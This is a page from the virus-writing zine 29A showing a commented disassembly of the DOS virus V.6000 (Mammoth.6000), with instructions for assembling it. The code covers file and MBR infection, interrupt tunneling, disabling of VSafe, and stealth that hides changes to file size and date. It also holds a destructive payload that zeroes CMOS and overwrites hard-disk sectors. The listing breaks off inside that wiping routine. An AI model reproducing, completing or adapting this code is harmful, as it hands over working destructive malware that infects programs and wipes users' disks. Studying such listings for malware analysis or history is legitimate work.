Copy Link
Add to Bookmark
Report

29A Issue 01 04 03

eZine's profile picture
Published in 
29A
 · 4 years ago

  

;
; Disassembled by Tcp / 29A
;
; Virus: V.6000 (aka NoKernel aka Mammoth.6000)
; Author: ?
; Country: Russia (?)
; Comments: Polymorphic, multipartite, tunneling, damage,
; full-stealth, HD-ports,...
; The most interesting feature is that it can
; stay resident after a cold reboot and loading
; from a clean DOS floppy disk!!!!!!!!
; WARNING: This is a very dangerous virus!!
;
; To assembly:
; tasm /m v6000.asm
; tlink v6000
; exe2bin v6000 v6000.com
;-------------------------------------------------------------

.286
v6000 segment byte public ''
assume cs:v6000,es:v6000,ss:v6000,ds:v6000
org 0
start:
r_index db 0B9h ; mov cx,length_virus+[0..1Fh]
num_bytes dw offset(length_virus)
r_source db 0BFh ; mov di,offset(code_enc)+100h
st_code_enc dw offset(code_enc)+100h
_loop_dec:
prefix_op dw 802Eh ; xor byte ptr cs:
r_op db 35h ; [di],
l_mask db 0 ; l_mask
i_inc:
inc di
d_loop:
loop _loop_dec
clc
code_enc:
delta equ word ptr $+1
mov bp,offset(start)+100h
mov cx,offset(end_virdata)-buffer
xor al,al
mov di,offset(buffer)
add di,bp
push cs
pop es
cld
rep stosb ; Clear data area
cli
push cs
pop ss
mov sp,offset(vstack)
add sp,bp
mov [bp+delta_offset],bp
mov [bp+seg_psp],ds
mov dx,word ptr [bp+jmp_antidebug]
mov bx,(offset(kill_cmos_hd)-ofs_antidebug-2)
mov [bp+jmp_antidebug],0E9h ; jmp
mov [bp+ofs_antidebug],bx
jmp_antidebug equ byte ptr $
ofs_antidebug equ word ptr $+1 ; jmp kill_cmos_hd
; Kill CMOS & HD if debugging (or Pentium!)
jmp no_debug
db 9
no_debug:
mov word ptr [bp+jmp_antidebug],dx ; Restore jmp
mov ax,0B0Bh
int 21h ; Resident check
cmp ax,0EFEFh ; Already resident?
je restore_host ; Yes? then jmp
mov ah,30h
int 21h ; DOS - GET DOS VERSION
; Return: AL = major version number
; (00h for DOS 1.x)
; AH = minor version number
cmp al,0Ah ; >DOS 10.xx? (why???)
ja restore_host ; Yes? then jmp
cmp al,3 ; >=DOS 3.00?
jae try_to_infect_hd ; Yes? then jmp
restore_host:
cmp byte ptr [bp+host_type],3 ; EXE?
je restore_exe ; Yes? then jmp
push cs ; It is a COM file
pop ds
push cs
pop es
mov si,offset(header)
add si,bp
mov di,100h
mov bx,di
movsw ; Restore original bytes (3 bytes)
movsb
cli
mov sp,0FFFEh ; Set default stack
jmp bx ; jmp 100h (exec host)

restore_exe:
mov es,[bp+seg_psp] ; ES:=PSP
mov dx,[bp+exeip]
mov bx,[bp+relocs]
mov cx,es
add bx,cx ; Relocate host CS
add bx,10h
mov [bp+ep_ip],dx
mov [bp+ep_cs],bx
mov ax,[bp+reloss]
add ax,cx ; Relocate host SS
add ax,10h ; Add PSP
push es
pop ds
push ax
xor ax,ax
push ax
popf ; Clear flags
pop ax
cli
mov ss,ax ; Set stack
mov sp,cs:[bp+relosp]
sti
jmp dword ptr cs:[bp+ep_ip] ; Exec host

try_to_infect_hd:
call check4ide
cmp al,66h ; IDE HD?
jne start_tunneling ; No? then jmp (don't use ports)
mov ax,160Ah
int 2Fh ; - Multiplex - MS WINDOWS -
or ax,ax ; Windows running?
jz start_tunneling ; Yes? then jmp
get_vi13:
mov al,13h
call get_int_vector ; Get int 13h
mov [bp+ofs_i13],bx ; Store it
mov [bp+seg_i13],es
mov [bp+use_ports],1 ; Can use ports
jmp kill_vsafe

start_tunneling:
xor ax,ax
mov ds,ax ; DS:=0
cli
mov ds:[1h*4+2],cs ; Set new int 1
mov dx,offset(int_1)
add dx,bp
mov ds:[1h*4],dx
sti
mov [bp+seg_stop],70h ; Set stop segment (DOS segment)
mov ah,0FFh
pushf
pushf
call trace_on
call dword ptr ds:[13h*4] ; Trace Int 13h
call trace_off
cmp [bp+seg_i13],0 ; Tunneling successful?
jnz kill_vsafe ; Yes? then jmp
jmp get_vi13
kill_vsafe:
mov dx,5945h
mov ax,0FA01h
int 21h ; Uninstall VSafe
call install_virus
jmp restore_host

install_virus:
mov al,10h ; Diskette drive types
call read_cmos
mov [bp+floppy_types],ah
xor ax,ax
mov ds,ax
mov ax,ds:[410h] ; Installed hardware
mov [bp+inst_hard],ax
mov al,2Eh ; 1st byte of CMOS checksum
call read_cmos
mov ch,ah
mov al,2Fh ; 2nd byte of CMOS checksum
call read_cmos
mov cl,ah
push cx
call calculate_CMOS_checksum_1
pop cx
cmp cx,dx ; Using this method for checksum?
jne try_method_ps2 ; No? then jmp
mov [bp+chksum_method],0
jmp infect_HD

try_method_ps2:
mov al,32h ; 1st byte of CMOS checksum (PS/2)
call read_cmos
mov ch,ah
mov al,33h ; 2nd byte of CMOS checksum (PS/2)
call read_cmos
mov cl,ah
push cx
call calculate_CMOS_checksum_2
pop cx
cmp cx,dx ; Using this method for checksum?
jne unknown_method ; No? then jmp
mov [bp+chksum_method],1
jmp infect_HD

unknown_method:
mov [bp+chksum_method],2
infect_HD:
xor ah,ah
mov dl,80h
call int13hbp ; Reset HD controller
mov ah,8
call int13hbp ; Get drive parameters
inc ch ; inc max.cylinder
mov dl,80h
sub cl,14 ; Get 14 sectors
mov ax,030Ch ; 12 sectors to write (its code)
push cs
pop es
mov bx,bp
call int13hbp ; Write to HD
jnc read_mbr ; Ok? then jmp
jmp _ret ; Stupid jmp!!

read_mbr:
mov ax,0201h
mov bx,offset(s_mbr)
add bx,bp
mov dx,80h
mov cx,1
int 13h ; Read MBR
jnc check_mbr ; Ok? then jmp
jmp _ret ; Stupid jmp!!

check_mbr:
mov di,bx
push cs
pop ds
mov si,offset(mbr_code)
add si,bp
mov cx,(tmbr_code-mbr_code)
cld
rep cmpsb ; Infected?
jne infect_mbr ; No? then jmp
jmp _ret ; Stupid jmp!!

infect_mbr:
call get_random
mov [bp+mask_orig_mbr],ah
mov si,bx
mov cx,512
push cx
encrypt_orig_mbr:
xor [si],ah
inc si
loop encrypt_orig_mbr
push ax
mov ah,8
call int13hbp ; Get drive parameters
inc ch ; Inc cylinder
dec cl ; Dec sector
mov dl,80h
mov ax,301h ; 1 sector to write
call int13hbp ; Write encripted MBR
mov si,bx
pop ax
pop cx
decrypt_orig_mbr:
xor [si],ah ; Decrypt MBR
inc si
loop decrypt_orig_mbr
call get_random
mov si,offset(st_mbr_enc)
add si,bp
mov cx,end_mbr_code-st_mbr_enc
push si
push cx
push ax
encrypt_mbr:
mov cs:[bp+mask_mbr],ah ; Encrypt new MBR code
xor [si],ah
inc si
loop encrypt_mbr
mov si,offset(mbr_code)
add si,bp
mov di,bx
mov cx,end_mbr_code-mbr_code
rep movsb
cmp [bp+use_ports],1 ; Can use ports?
je write_using_ports ; Yes? then jmp
mov ax,301h ; 1 sector to write
mov cx,1
xor dh,dh
call int13hbp ; Write new mbr
jmp mbr_wrote

wait_while_busy:
mov dx,1F7h
HD_busy:
in al,dx ; AT hard disk
; status register bits:
; 0: 1=prev cmd error
; 2: Corrected data
; 3: Data Request. Buffer is busy
; 4: Seek completed
; 5: Write fault
; 6: Drive ready (unless bit 4=0)
; 7: Busy
test al,80h ; Busy?
jnz HD_busy ; Yes? Repeat while busy
ret

wait_while_busy_seek:
mov dx,1F7h
in_seek:
in al,dx ; AT hard disk
; status register bits:
; 0: 1=prev cmd error
; 2: Corrected data
; 3: Data Request. Buffer is busy
; 4: Seek completed
; 5: Write fault
; 6: Drive ready (unless bit 4=0)
; 7: Busy
test al,80h ; HD busy?
jnz in_seek ; Yes? Repeat while busy
test al,8 ; Seek completed?
jz in_seek ; No? Repeat until seek completed
ret

write_using_ports:
mov si,bx
cld
mov dx,3F6h
mov al,4
out dx,al ; Enable FDC disk reset
call waste_time
mov al,0
out dx,al
call wait_while_busy
mov dx,1F6h
mov al,10100000b
; ^^^^^head 0
; |___drive 0
out dx,al ; AT hard disk controller: Drive & Head.
call waste_time
mov dx,1F7h
mov al,10h
out dx,al ; AT hard disk command register:
; 1?H = Restore to cylinder 0
; 7?H = Seek to cylinder
; 2?H = Read sector
; 3xH = Write sector
; 50H = Format track
; 4xH = verify read
; 90H = diagnose
; 91H = set parameters for drive
; Recalibrate drive
call wait_while_busy
mov dx,1F1h
in al,dx ; AT hard disk controller
; Error register. Bits for last error:
; 0: Data Address Mark not found
; 1: Track 0 Error
; 2: Command aborted
; 4: Sector ID not found
; 6: ECC Error: Uncorrectable data error
; 7: Bad block
and al,01101000b
jnz write_using_ports ; Error? try again
call wait_while_busy
mov dx,1F2h
mov al,1 ; One sector
out dx,al ; AT hard disk controller: Sector count.
call waste_time
mov dx,1F3h
mov al,1 ; Start in sector 1
out dx,al ; AT hard disk controller: Sector number.
call waste_time
mov dx,1F4h
mov al,0
out dx,al ; AT hard disk controller:
; Cylinder high (bits 0-1 are bits 8-9
; of 10-bit cylinder number)
call waste_time
mov dx,1F5h
mov al,0 ; Cylinder 0
out dx,al ; AT hard disk controller:
; Cylinder low (bits 0-7 of 10-bit
; cylinder number)
call waste_time
mov dx,1F6h
mov al,10100000b ; Drive 0, Head 0
out dx,al ; AT hard disk controller: Drive & Head.
call waste_time
mov dx,1F7h
mov al,31h ; Write sector without retry
out dx,al ; AT hard disk
; command register:
; 1?H = Restore to cylinder 0
; 7?H = Seek to cylinder
; 2?H = Read sector
; 3xH = Write sector
; 50H = Format track
; 4xH = verify read
; 90H = diagnose
; 91H = set parameters for drive
call wait_while_busy_seek
mov cx,512/2 ; Number of words to write (1 sector)
mov dx,1F0h ; Data register
rep outsw ; Write sector
call wait_while_busy
mbr_wrote:
pop ax
pop cx
pop si
dec_mbrcode:
xor cs:[si],ah
inc si
loop dec_mbrcode
mov ah,8
mov dl,80h
call int13hbp ; Get drive parameters
mov dl,80h
inc ch ; inc cylinder
sub cl,2 ; dec sector*2
mov word ptr cs:[bx],0 ; Reset boot counter
mov ax,0301h ; 1 sector to write
call int13hbp ; Write to HD
_ret:
ret


int_1: ; Tunneler code
push bx
push es
push si
push bp
push ds
mov bp,sp
lds si,[bp+0Ah] ; Get next inst.address from stack
mov bp,cs
mov bx,ds
cmp bx,bp ; Is from virus code?
je end_int1 ; Yes? then jmp
mov bp,sp
delta_offset equ word ptr $+1
mov bx,0B3Ah ; mov bx,delta_offset
cmp byte ptr [si],9Ch ; Next inst. is a pushf?
jne check_popf ; No? then jmp
inc word ptr [bp+0Ah] ; Skip the pushf
mov cs:[bx+emul_pushf],1
check_popf:
cmp byte ptr [si],9Dh ; Next inst. is a popf?
jne no_popf ; No? then jmp
or word ptr [bp+10h],100h ; Put flag trace in stack
no_popf:
mov bp,ds
cmp cs:[bx+tunnel_ok],1 ; Found int?
je end_int1 ; Yes? then jmp
cmp bp,cs:[bx+seg_stop] ; Above stop segment?
ja end_int1 ; Yes? then jmp
mov cs:[bx+ofs_i13],si ; Store as the new int
mov cs:[bx+seg_i13],ds
mov cs:[bx+tunnel_ok],1 ; Found int
end_int1:
pop ds
pop bp
pop si
pop es
cmp cs:[bx+emul_pushf],1 ; Was found a pushf?
je no_restore_flags ; Yes? then jmp
pop bx
iret
no_restore_flags:
mov word ptr cs:[bx+emul_pushf],0
pop bx
retf

waste_time:
jmp $+2
jmp $+2
ret

trace_on:
pushf
pop bx
or bh,1 ; Set trace flag on
push bx
popf
ret
trace_off:
pushf
pop bx
and bh,0FEh ; Set trace flag off
push bx
popf
ret

check4ide:
push ds
mov dl,80h ; 1st HD
push dx
mov ah,15h
int 13h ; DISK - GET TYPE
; DL = drive ID
; Return: CF set on error
; AH = disk type
; Get type of 1st HD
pop dx
cmp ah,1 ; Type 1? Diskette???
je no_ide ; Yes? then jmp
xor ax,ax
mov ds,ax ; DS:=0
les si,ds:[41h*4] ; Get hd0 parameters pointer
mov ax,es:[si] ; Maximun number of cylinders
push ax
push dx
mov ah,8
int 13h ; Get current drive parameters
mov ax,cx
rol al,1
rol al,1
and al,3 ; Get high order 2 bits of cylinder count
xchg al,ah ; Cylinder count in AX
and dh,0C0h ; Get high order 2 bits of head count
; Large Model(?)
mov cl,4
shl dh,cl
or ah,dh ; Total cylinder count in AX
add ax,2 ; Add 2 cylinders
pop dx
mov bx,ax
pop ax
cmp bx,ax ; Same cylinder number?
xor al,al ; BUG!!!! This instruction sets the Z-flag
jne no_ide ; Then this jump is never used
mov al,66h
no_ide:
pop ds
ret

fffnfcb:
call int21h ; FF/FN
or al,al ; More files?
jnz no_files_fcb ; No? then jmp
pushf
call push_registers
mov ah,2Fh
call int21h ; Get DTA
push es
pop ds
push bx
pop dx
cmp byte ptr es:[bx],0FFh ; Extended FCB?
jnz no_ext_fcb ; No? then jmp
add dx,7
no_ext_fcb:
call make_fname
call exe_or_com?
or bp,bp ; EXE or COM?
jz error_open_fcb ; No? then jmp
mov ax,3D00h
call int21h ; Open file
jc error_open_fcb
mov bx,ax ; bx:=handle
mov ax,5700h
call int21h ; Get file time
rcr dh,1
cmp dh,64h ; Infected?
jb no_inf_fcb ; No? then jmp
push bx
mov ah,2Fh
call int21h ; Get DTA
cmp byte ptr es:[bx],0FFh ; Extended FCB?
jne no_ext_fcb2 ; No? then jmp
add bx,7
no_ext_fcb2:
sub word ptr es:[bx+1Dh],offset(length_virus)
mov ax,es:[bx+19h] ; Get file date
rcr ah,1
pushf
sub ah,100 ; Set original date
popf
rcl ah,1
mov es:[bx+19h],ax
pop bx
no_inf_fcb:
mov ah,3Eh
call int21h ; Close file
error_open_fcb:
call pop_registers
popf
no_files_fcb:
retf 2

rename_FCB:
push ds
push dx
call make_fname
jmp rename

rename_handle:
push ds
push dx
rename:
push es
push si
push di
push cx
push bp
push ax
push es
push di
call exe_or_com?
pop di
pop es
or bp,bp ; Renaming from Exe or Com?
jz jmp_end_i21 ; No? then jmp
push ds
push dx
push es
pop ds
mov dx,di
call exe_or_com?
pop dx
pop ds
or bp,bp ; Renaming to Exe or Com?
jnz now_is_exec ; Yes? then jmp
call disinfect_file ; else disinfect
jmp jmp_end_i21

now_is_exec:
call try_to_infect_file
jmp_end_i21:
pop ax
pop bp
pop cx
pop di
pop si
pop es
pop dx
pop ds
jmp exit_i21

disinfect:
push dx
cmp ah,6Ch ; Extended create/open?
jne exec? ; No? then jmp
test dl,1 ; Action=open file?
jz not_open ; No? then jmp
mov dx,si
exec?:
cmp ah,4Bh ; Exec file?
jne no_exec ; No? then jmp
push ax
push si
push di
push es
push cx
push ds
mov cs:ticks_disableFD,30*18 ; 30 seconds
or cs:flags,2 ; Don't disable FD
call enable_FD
mov si,dx
call end_fname
dec si
mov di,offset(end_chkdsk)
mov cx,end_chkdsk-end_wswap
push cs
pop es
call cmp_strings ; chkdsk.exe?
jnc no_chkdsk ; No? then jmp
or cs:flags,80h ; No stealth
no_chkdsk:
pop ds
pop cx
pop es
pop di
pop si
pop ax
no_exec:
test cs:flags,1 ; bit0 never is 1!!! I think...
jnz not_open ; then this jump is never used
call disinfect_file
not_open:
pop dx
jmp exit_i21

fffnh:
call int21h ; Find-first/next
jc ret_fffnh ; jmp if no more files
pushf
call push_registers
mov ah,2Fh
call int21h ; Get DTA
push es
pop ds
mov dx,bx
add dx,1Eh
call exe_or_com? ; if bp=0 then not exe/com
or bp,bp ; Exe or Com?
jz end_fffnh ; No? then jmp
mov ax,[bx+(dta_date-dta)]
shr ah,1
cmp ah,64h ; Infected?
jb end_fffnh ; No? then jmp
mov ax,es:[bx+(dta_date-dta)] ; Get file date
rcr ah,1
pushf
sub ah,100 ; Set original date
popf
rcl ah,1
mov es:[bx+(dta_date-dta)],ax
sub [bx+(dta_sizel-dta)],offset(length_virus)
end_fffnh:
call pop_registers
popf
ret_fffnh:
retf 2

jmp_infect_on_exit:
jmp infect_on_exit

int_21:
mov cs:into_i21,1
cmp ah,4Ch ; Exit program via ah=4Ch?
je jmp_infect_on_exit ; Yes? then jmp (infect)
or ah,ah ; Exit program via ah=0?
jz jmp_infect_on_exit ; Yes? then jmp (infect)
cmp ah,31h ; Exit program via ah=31h (TSR)?
je jmp_infect_on_exit ; Yes? then jmp (infect)
cmp ax,0B0Bh ; Our check?
je resident_check ; Yes? then jmp
test cs:flags,80h ; Do stealth?
jnz exit_i21 ; No? then jmp
cmp ah,4Bh ; Exec?
je jmp_disinfect ; Yes? then jmp (disinfect)
cmp ah,11h ; FF FCB?
je jmp_fffnfcb ; Yes? then jmp (length stealth)
cmp ah,12h ; FN FCB?
je jmp_fffnfcb ; Yes? then jmp (length stealth)
cmp ah,4Eh ; FF handle?
je fffnh ; Yes? then jmp (length stealth)
cmp ah,4Fh ; FN handle?
je fffnh ; Yes? then jmp (length stealth)
cmp ah,3Dh ; Open?
je jmp_disinfect ; Yes? then jmp (disinfect)
cmp ah,6Ch ; Extended open?
je jmp_disinfect ; Yes? then jmp (disinfect)
cmp ah,36h ; Get Disk free?
je disk_free ; Yes? then jmp (free space stealth)
cmp ah,0Fh ; Open file using FCB?
je open_delete_FCB ; Yes? then jmp (infect)
cmp ah,13h ; Delete file using FCB?
je open_delete_FCB ; Yes? then jmp (infect)
cmp ah,17h ; Rename file using FCB?
je jmp_rename_FCB ; Yes? then jmp (infect/disinfect)
cmp ah,41h ; Delete file?
je del_getsetattr ; Yes? then jmp (infect)
cmp ah,56h ; Rename file?
je jmp_rename ; Yes? then jmp (infect/disinfect)
cmp ax,4300h ; Get attributes?
je del_getsetattr ; Yes? then jmp (infect)
cmp ax,4301h ; Set attributes?
je del_getsetattr ; Yes? then jmp (infect)
cmp ah,3Eh ; Close file?
je jmp_close ; Yes? then jmp (infect)
exit_i21:
mov cs:into_i21,0
jmp dword ptr cs:ofs_i21
resident_check:
mov ax,0EFEFh
iret
del_getsetattr:
jmp jmp_try_infect_file
jmp_close:
jmp close
jmp_fffnfcb:
jmp fffnfcb
jmp_disinfect:
jmp disinfect
jmp_rename:
jmp rename_handle
jmp_rename_FCB:
jmp rename_FCB

open_delete_FCB:
push ds
push dx
call make_fname
call try_to_infect_file
pop dx
pop ds
jmp exit_i21

save_free:
mov cs:into_i21,0
mov cs:stored_psp,bx ; Store program PSP dir
mov cs:stored_drive,dl ; Store drive
pop bx
call int21h ; Get free space
mov cs:clusters_avail,bx ; Store free space
retf 2

disk_free:
push bx
push ax
mov ah,62h
call int21h ; Get PSP address in BX
pop ax
cmp bx,cs:stored_psp ; Same program?
jne save_free ; No? then jmp
cmp dl,cs:stored_drive ; Same drive?
jne save_free ; No? then jmp
pop bx
call int21h ; Get free space
mov bx,cs:clusters_avail ; Return previous free space
retf 2

int_27:
push cx
mov cl,4
shr dx,cl ; div 16
pop cx
inc dx ; inc paragraphs
mov ax,3100h ; To exec int 21h, AX=3100 (TSR)
jmp infect_on_exit

int_20:
xor ax,ax ; To exec int 21h, AX=0 (exit)
infect_on_exit:
push ax
push ds
push dx
push bx
pushf
push cs
pop ds
cmp activity_checks,1 ; Checking activity?
jne set_checks ; No? then jmp
jmp ints_set

set_checks:
mov activity_checks,1
mov ah,34h
call int21h ; Get address of DOS activity flag
mov ofs_flagdos,bx ; Store it
mov seg_flagdos,es
mov al,8
call get_int_vector ; Get int 8
mov ofs_i8,bx ; Store it
mov seg_i8,es
mov al,17h
call get_int_vector ; Get int 17h
mov ofs_i17,bx ; Store it
mov seg_i17,es
mov al,25h
call get_int_vector ; Get int 25h
mov ofs_i25,bx ; Store it
mov seg_i25,es
mov al,26h
call get_int_vector ; Get int 26h
mov ofs_i26,bx ; Store it
mov seg_i26,es
mov ax,5D06h
call int21h ; Get address of DOS swappable area
mov cs:ofs_swpdos,si ; Store it
mov cs:seg_swpdos,ds
xor ax,ax
mov ds,ax
cli
mov word ptr ds:[8h*4],offset(int8) ; Set int 8
mov ds:[8h*4+2],cs
mov word ptr ds:[17h*4],offset(int17) ; Set int 17h
mov ds:[17h*4+2],cs
mov word ptr ds:[25h*4],offset(int25) ; Set int 25h
mov ds:[25h*4+2],cs
mov word ptr ds:[26h*4],offset(int26) ; Set int 26h
mov ds:[26h*4+2],cs
sti
mov si,400h ; Address of COM ports
mov di,offset(com_ports)
push cs
pop es
movsw ; com1
movsw ; com2
movsw ; com3
movsw ; com4
ints_set:
test cs:flags,40h ; bit14 never is 1!!! I think...
jnz get_parent_psp ; then this jump is never used
call get_fname_env
get_parent_psp:
mov ah,62h
call int21h ; Get current PSP address
mov ds,bx
mov ax,ds:[16h] ; Get parent PSP
mov ds,ax
mov ax,ds:[16h] ; Get parent PSP (of parent PSP :)
mov bx,ds
cmp ax,bx ; Same PSP? Parent=command interpreter?
jne no_reset_flags ; No? then jmp
and cs:flags,0 ; Clear flags
no_reset_flags:
popf
pop bx
pop dx
pop ds
pop ax
mov cs:into_i21,0
jmp dword ptr cs:ofs_i21

close:
call push_registers
push bx
call set_i24_i1B_i23
call get_ofs_fname
pop bx
clc
mov ax,1220h
int 2Fh ; GET JOB FILE TABLE ENTRY
; BX = file handle
; Return: CF set on error, AL = 6
; CF clear if successful
; ES:DI -> JFT entry for file handle
; in current process
jc end_close
cmp byte ptr es:[di],0FFh ; No table?
je end_close ; Yes? then jmp
clc
push bx
mov bl,es:[di] ; Get file entry number
xor bh,bh
mov ax,1216h
int 2Fh ; GET ADDRESS OF SYSTEM FILE TABLE
; BX = system file table entry number
; Return: CF clear if successful,
; ES:DI -> system file table entry
; CF set if BX greater than FILES=
pop bx
jc end_close
push es
pop ds
and word ptr [di+2],0FFF8h
or word ptr [di+2],2 ; File open mode 2 (I/O)
add di,cs:ofs_sft
mov dx,di
dec dx
call make_fname
push cs
pop ds
mov dx,offset(filename)
call infect_file
end_close:
call restore_i24_i1b_i23
call pop_registers
jmp exit_i21

jmp_try_infect_file:
call try_to_infect_file
jmp exit_i21

push_registers:
pop cs:return_dir
push ax
push bx
push cx
push dx
push es
push ds
push si
push di
push bp
jmp cs:return_dir

pop_registers:
pop cs:return_dir
pop bp
pop di
pop si
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
jmp cs:return_dir

get_fname_env:
call push_registers
mov ah,62h
call int21h ; Get PSP address in BX
mov ds,bx
mov ds,ds:[2Ch] ; Get environment segment
xor si,si
mov cx,400h
search4fname:
mov ax,[si] ; Get word
or ax,ax ; Zero?
jz no_more_variables ; Yes? then jmp
inc si
loop search4fname
jmp _pop_regs

no_more_variables:
add si,4 ; Pathname of environment owner
mov dx,si
call try_to_infect_file
_pop_regs:
call pop_registers
ret

try_to_infect_file:
call push_registers
call normalize_fname
call set_i24_i1B_i23 ; Set ints
call get_reset_attr ; Save & reset attributes
jc error_writing
mov ax,3D02h
call int21h ; Open file I/O
jc error_writing
mov bx,ax ; bx:=handle
call infect_file
mov ah,3Eh
call int21h ; Close file
call restore_attr ; Restore attributes
error_writing:
call restore_i24_i1b_i23
call pop_registers
ret

st_command equ $-1
db 'COMMAND.'
ext_com db 'COM'
end_command equ word ptr $-1
gdi_exe db 'GDI.EXE'
end_gdi equ word ptr $-1
db 'DOSX.EXE'
end_dosx equ word ptr $-1
db 'WIN386.EXE'
end_win386 equ word ptr $-1
db 'KRNL286.EXE'
end_krnl286 equ word ptr $-1
db 'KRNL386.EXE'
end_krnl386 equ word ptr $-1
db 'USER.'
bad_end_user equ word ptr $-2
ext_exe db 'EXE'
end_user equ word ptr $-1
db 'WSWAP.EXE'
end_wswap equ word ptr $-1
db 'CHKDSK.EXE'
end_chkdsk equ word ptr $-1

normalize_fname:
push ds
pop es
push dx
pop si
push si
pop di
mov ax,1211h
int 2Fh ; NORMALIZE ASCIZ FILENAME
; DS:SI -> ASCIZ filename to normalize
; ES:DI -> buffer for normalized filename
; Return: destination buffer filled with
; uppercase filename, with slashes turned
; to backslashes
ret

cmp_strings: ; Compare two strings
; OUTPUT: Carry=1 if strings are equal
std
next_char:
lodsb
cmp al,' '
je next_char ; Ignore spaces
inc si
cmpsb
loope next_char
clc
or cx,cx ; Matching strings?
jnz no_match ; No? then jmp
stc ; Set carry
no_match:
ret

infect_file:
push ds
push dx
call exe_or_com?
or bp,bp ; Exe or Com?
jz not_infect ; No? then jmp
push bp
call cmp_fname ; Valid filename?
pop bp
jc not_infect ; No? then jmp
mov ax,4200h
xor cx,cx
xor dx,dx
call int21h ; Lseek start
jc not_infect
call read_header
jc not_infect
call check_if_exe
call check_if_infected ; Already infected?
jz not_infect ; Yes? then jmp
call get_ftime
call write_virus
jc not_infect
call restore_ftime
not_infect:
pop dx
pop ds
ret

restore_ftime:
mov ax,5701h
mov cx,cs:f_time
mov dx,cs:f_date
call int21h ; Restore file date & time
ret

restore_attr:
mov ax,4301h
mov cx,cs:attribs
call int21h ; Restore attributes
ret

get_ftime:
mov ax,5700h
call int21h ; Get file time
mov cs:f_time,cx
mov cs:f_date,dx
ret

get_reset_attr:
mov ax,4300h
call int21h ; Get attributes
mov cs:attribs,cx ; Store attributes
mov ax,4301h
xor cx,cx
call int21h ; Reset attributes
ret

check_if_exe:
cmp cs:_signature,5A4Dh ; EXE?
jz is_exe ; Yes? then jmp
cmp cs:_signature,4D5Ah ; EXE?
jz is_exe ; Yes? then jmp
mov bp,1 ; It's COM
ret
is_exe:
mov bp,3 ; It's EXE
ret

cmp_fname:
mov si,dx
call end_fname
dec si ; SI points to end fname
mov bp,si
push cs
pop es
mov di,offset(end_command)
mov cx,end_command-st_command
call cmp_strings ; COMMAND.COM?
jc invalid_fname ; Yes? then jmp
mov si,bp
mov di,offset(end_gdi)
mov cx,end_gdi-end_command
call cmp_strings ; GDI.EXE?
jc invalid_fname ; Yes? then jmp
mov si,bp
mov di,offset(end_dosx)
mov cx,end_dosx-end_gdi
call cmp_strings ; DOSX.EXE?
jc invalid_fname ; Yes? then jmp
mov si,bp
mov di,offset(end_win386)
mov cx,end_win386-end_dosx
call cmp_strings ; WIN386.EXE?
jc invalid_fname ; Yes? then jmp
mov si,bp
mov di,offset(end_krnl286)
mov cx,end_krnl286-end_win386
call cmp_strings ; KRNL286.EXE?
jc invalid_fname ; Yes? then jmp
mov si,bp
mov di,offset(end_krnl386)
mov cx,end_krnl386-end_krnl286
call cmp_strings ; KRNL386.EXE?
jc invalid_fname ; Yes? then jmp
mov si,bp
mov di,offset(bad_end_user) ; BUG!!!! offset(end_user)
mov cx,end_user-end_krnl386
call cmp_strings ; USER.EXE? (BUG)
jc invalid_fname ; Yes? then jmp
mov si,bp
mov di,offset(end_wswap)
mov cx,end_wswap-end_user
call cmp_strings ; WSWAP.EXE?
jc invalid_fname ; Yes? then jmp
clc ; Valid filename
invalid_fname:
ret

get_file_encryption:
push cs
pop ds
mov ofs_virus,offset(length_virus)-offset(l_mask)
call lseek
mov ah,3Fh
mov dx,offset(code_mask)
mov cx,1
call int21h ; Read 1 byte (encryption mask)
push cs
pop ds
mov ofs_virus,offset(length_virus)-(offset(prefix_op)+1)
call lseek
mov ah,3Fh
mov dx,offset(ofs_virus)
mov cx,1
call int21h ; Read 1 byte
cmp byte ptr ofs_virus,0F6h ; Not encryption?
je m_not ; Yes? then jmp
cmp byte ptr ofs_virus,80h ; Xor encryption?
je m_xor ; Yes? then jmp
cmp byte ptr ofs_virus,0D0h ; Ror encryption?
je m_ror ; Yes? then jmp
cmp byte ptr ofs_virus,0FEh ; Dec encryption?
je m_dec ; Yes? then jmp
m_not:
mov crypt_method,1
ret
m_xor:
mov crypt_method,0
ret
m_ror:
mov crypt_method,2
ret
m_dec:
mov crypt_method,3
ret

check_if_infected:
push cs
pop ds
call get_file_encryption
mov ofs_virus,offset(length_virus)-offset(gdi_exe)
call lseek
mov ah,3Fh
mov dx,offset(ofs_virus)
mov cx,2
call int21h ; Read 2 bytes
mov si,offset(ofs_virus)
call decrypt_bytes
mov cx,word ptr gdi_exe
cmp cx,ofs_virus ; Infected file?
ret

get_n_di: ; Get SI in [0, DI, DI*2]
call get_random
mov cl,0Eh
shr ax,cl ; AX in [0..3]
mov si,di
mul si
mov si,ax
sub si,di
jns not_neg
neg si
not_neg:
ret

get_1byte_inst:
call get_random
mov cl,0Eh
shr ax,cl ; AX in [0..3]
mov si,ax
mov al,byte ptr [si+one_byte_inst]
ret

mbr_code:
cli
xor ax,ax
mov ss,ax
mov sp,7C00h
push cs
pop ds
mov cx,end_mbr_code-mbr_code
mov bx,7C00h+(st_mbr_enc-mbr_code)
tmbr_code:
push cx
decrypt_mbr:
xor byte ptr [bx],0 ; xor byte ptr [bx],mask_mbr
mask_mbr equ byte ptr $-1
inc bx
loop decrypt_mbr
st_mbr_enc:
mov ax,910h
mov es,ax ; ES:=0910h
mov ah,8
mov dl,80h
int 13h ; Get current drive parameters
inc ch ; Inc max. cylinder
sub cl,2 ; Dec*2 max. sector
mov dl,80h
mov ax,201h
mov bx,sp
int 13h ; Read 1 sector
inc word ptr es:[bx] ; Inc boots counter
mov ax,301h
int 13h ; Write sector
cmp word ptr es:[bx],10 ; <10 boots?
jb no_activate ; Yes? then jmp
mov word ptr es:[bx],0 ; Reset boots counter
mov ax,301h
int 13h ; Write 1 sector
kill_cmos_hd:
mov bp,7C00h
in al,21h ; Interrupt controller, 8259A.
or al,2 ; Disable keyboard IRQ
out 21h,al ; Interrupt controller, 8259A.
mov cx,40h
kill_cmos:
mov al,cl
out 70h,al ; CMOS Memory
xor al,al
out 71h,al ; Fill CMOS with zeros
loop kill_cmos
mov dl,80h ; 1st HD
kill_hd:
mov bh,dl
mov ah,8
int 13h ; Get current drive parameters
mov dl,bh ; DL:=80h
mov al,cl
mov cx,101h ; Start in cylinder 1, sector 1
other_cylinder:
push dx
other_head:
push ax
mov ah,3
int 13h ; Write sector
pop ax
dec dh ; dec head
jnz other_head
pop dx
cmp ch,0FFh ; Cylinder=255?
pushf
inc ch ; Inc cylinder
popf
jne other_cylinder ; No? then jmp
xor ax,ax
mov ds,ax ; ds:=0
